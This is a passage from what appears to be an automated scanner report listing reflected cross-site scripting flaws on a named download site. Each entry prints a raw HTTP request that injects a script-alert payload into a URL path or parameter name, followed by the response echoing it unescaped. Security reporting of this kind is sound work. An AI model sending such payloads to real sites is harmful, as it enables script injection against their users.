HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:07:57 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88674
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsgroups-downloads.htmlf3ac5"><script>alert(1)</script>c5960a7fdd6" /> ...[SNIP]...
4.1568. http://www.x64bitdownload.com/64-bit-newsgroups-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-newsgroups-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff596"><script>alert(1)</script>281d8a3753f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsgroups-downloads.html?ff596"><script>alert(1)</script>281d8a3753f=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:18 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:18 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsgroups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88677
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsgroups-downloads.html?ff596"><script>alert(1)</script>281d8a3753f=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b459f"><script>alert(1)</script>c9490a838b3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsreader-c-44-newsgroup-clients-downloads.htmlb459f"><script>alert(1)</script>c9490a838b3 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:39 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsreader-c-44-newsgroup-clients-downloads.htmlb459f"><script>alert(1)</script>c9490a838b3" /> ...[SNIP]...
4.1570. http://www.x64bitdownload.com/64-bit-newsreader-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47e63"><script>alert(1)</script>0dbe9fe771e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsreader-c-44-newsgroup-clients-downloads.html?47e63"><script>alert(1)</script>0dbe9fe771e=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:50 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32620
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsreader-c-44-newsgroup-clients-downloads.html?47e63"><script>alert(1)</script>0dbe9fe771e=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f09b"><script>alert(1)</script>50aa1ce8d40 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsreader-downloads.html7f09b"><script>alert(1)</script>50aa1ce8d40 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:58 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:50:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55959
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsreader-downloads.html7f09b"><script>alert(1)</script>50aa1ce8d40" /> ...[SNIP]...
4.1572. http://www.x64bitdownload.com/64-bit-newsreader-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-newsreader-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dea4d"><script>alert(1)</script>a510634e8be was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-newsreader-downloads.html?dea4d"><script>alert(1)</script>a510634e8be=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:05 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22newsreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55962
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-newsreader-downloads.html?dea4d"><script>alert(1)</script>a510634e8be=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca996"><script>alert(1)</script>a4a17688857 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-nntp-c-44-newsgroup-clients-downloads.htmlca996"><script>alert(1)</script>a4a17688857 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:25 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:48:26 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31857
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-nntp-c-44-newsgroup-clients-downloads.htmlca996"><script>alert(1)</script>a4a17688857" /> ...[SNIP]...
4.1574. http://www.x64bitdownload.com/64-bit-nntp-c-44-newsgroup-clients-downloads.html [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea43c"><script>alert(1)</script>1d1fba47ba5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-nntp-c-44-newsgroup-clients-downloads.html?ea43c"><script>alert(1)</script>1d1fba47ba5=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:35:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:45:49 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31860
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-nntp-c-44-newsgroup-clients-downloads.html?ea43c"><script>alert(1)</script>1d1fba47ba5=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83928"><script>alert(1)</script>a5b455172b2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-nntp-downloads.html83928"><script>alert(1)</script>a5b455172b2 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:44:37 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:54:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87761
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-nntp-downloads.html83928"><script>alert(1)</script>a5b455172b2" /> ...[SNIP]...
4.1576. http://www.x64bitdownload.com/64-bit-nntp-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-nntp-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9892e"><script>alert(1)</script>5d9734d7e08 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-nntp-downloads.html?9892e"><script>alert(1)</script>5d9734d7e08=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:44 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:54 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22nntp%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87764
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-nntp-downloads.html?9892e"><script>alert(1)</script>5d9734d7e08=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 430b8"><script>alert(1)</script>a87f0fbe7d8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-nzb-downloads.html430b8"><script>alert(1)</script>a87f0fbe7d8 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:08:35 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60699
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-nzb-downloads.html430b8"><script>alert(1)</script>a87f0fbe7d8" /> ...[SNIP]...
4.1578. http://www.x64bitdownload.com/64-bit-nzb-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-nzb-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad6ec"><script>alert(1)</script>984fa8fe340 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-nzb-downloads.html?ad6ec"><script>alert(1)</script>984fa8fe340=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:20 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:43 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22nzb%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60702
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-nzb-downloads.html?ad6ec"><script>alert(1)</script>984fa8fe340=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbdb3"><script>alert(1)</script>4b97b90929 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-ozum-downloads.htmlfbdb3"><script>alert(1)</script>4b97b90929 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:39:39 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:50 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29406
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-ozum-downloads.htmlfbdb3"><script>alert(1)</script>4b97b90929" /> ...[SNIP]...
4.1580. http://www.x64bitdownload.com/64-bit-ozum-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-ozum-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98bd1"><script>alert(1)</script>f6291253f5c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-ozum-downloads.html?98bd1"><script>alert(1)</script>f6291253f5c=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:36:15 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:46:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22ozum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29410
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-ozum-downloads.html?98bd1"><script>alert(1)</script>f6291253f5c=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0759"><script>alert(1)</script>6fd3ce475e7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-par-downloads.htmld0759"><script>alert(1)</script>6fd3ce475e7 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:45:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64781
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-par-downloads.htmld0759"><script>alert(1)</script>6fd3ce475e7" /> ...[SNIP]...
4.1582. http://www.x64bitdownload.com/64-bit-par-downloads.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/64-bit-par-downloads.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c878"><script>alert(1)</script>7559f64c803 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-par-downloads.html?8c878"><script>alert(1)</script>7559f64c803=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:45 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:45 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A3%3A%22par%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 64784
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... <input type="hidden" name="retpage" value="/64-bit-par-downloads.html?8c878"><script>alert(1)</script>7559f64c803=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7970"><script>alert(1)</script>88378e0e2f5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /64-bit-podcast-downloads.htmld7970"><script>alert(1)</script>88378e0e2f5 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
